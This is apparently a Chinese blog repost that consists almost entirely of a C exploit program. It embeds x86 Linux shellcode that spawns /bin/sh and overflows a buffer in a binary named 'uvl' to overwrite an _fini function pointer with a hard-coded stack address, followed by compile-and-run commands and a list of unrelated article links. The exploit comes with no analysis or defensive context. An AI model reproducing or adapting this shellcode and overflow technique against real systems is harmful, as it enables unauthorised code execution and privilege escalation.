C程式碼
# cat ex.c
char shellcode[]="\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[37];
int *p;
main()
{
memset(buf, 'A', 32);
p = (int *)(buf + 32);
*p = 0x400a243c; //fnlist _fini
buf[36] = "\0";
p = (int *) addr;
*p = 0xbfffff9b; // Call function address: start address of shellcode
execl("./uvl", shellcode, buf, addr, 0, 0);
}
# gcc -o ex ex.c
# ./ex
}
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/81227/viewspace-688486/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- extern "C"的用途—在C++程式碼中嵌入C程式碼C++C程式
- 從 C/C++ 程式呼叫 Java 程式碼C++Java
- c/c++程式碼流程圖生成C++流程圖
- embed-c:可將C程式碼直接嵌入到Rust程式碼中C程式Rust
- 優化C++程式碼(2):C++程式碼的編譯過程優化C++編譯
- 編寫高效的C程式與C程式碼優化C程式優化
- C語言簡單程式碼程式C語言
- c# 智慧升級程式程式碼C#
- 用emacs 閱讀 c/c++ 程式碼MacC++
- [C練習]蛇形程式碼
- C#入門程式碼C#
- 優化C++程式碼(4):消除冗餘程式碼優化C++
- C# 呼叫Python程式碼C#Python
- C 語言程式碼總結
- VS Code除錯C程式碼除錯C程式
- swift中使用Objective C程式碼SwiftObjectC程式
- C++學習程式碼--sizeofC++
- 如何閱讀別人的C/C++程式碼C++
- 利用Eclipse CDT 閱讀C/C++程式碼EclipseC++
- c++自制鎖機程式--兩行程式碼C++行程
- MSIL入門(一)C#程式碼與IL程式碼對比C#
- zdimension/embed-c:厭倦了安全程式設計?將C程式碼直接嵌入到Rust程式碼中程式設計C程式Rust
- C程式隨機種子原始碼C程式隨機原始碼
- 變數C++邏輯程式碼變數C++
- 高效重構 C++ 程式碼(下)C++
- 高效重構 C++ 程式碼(上)C++
- 高效重構 C++ 程式碼(中)C++
- 分享C++寫後臺程式碼C++
- C#垃圾程式碼生成器C#
- 如何寫出優美的 C 程式碼
- Swift如何呼叫Objective-C程式碼SwiftObjectC程式
- C++ DLL注入和程式碼注入C++
- 編寫更好的C#程式碼C#
- .NET(C#)程式碼效能優化C#優化
- c++程式碼優化總結C++優化
- C語言和SH指令碼的雜交程式碼C語言指令碼
- C#條碼生成及列印例項程式碼C#
- C&C++程式碼單元整合測試培訓C++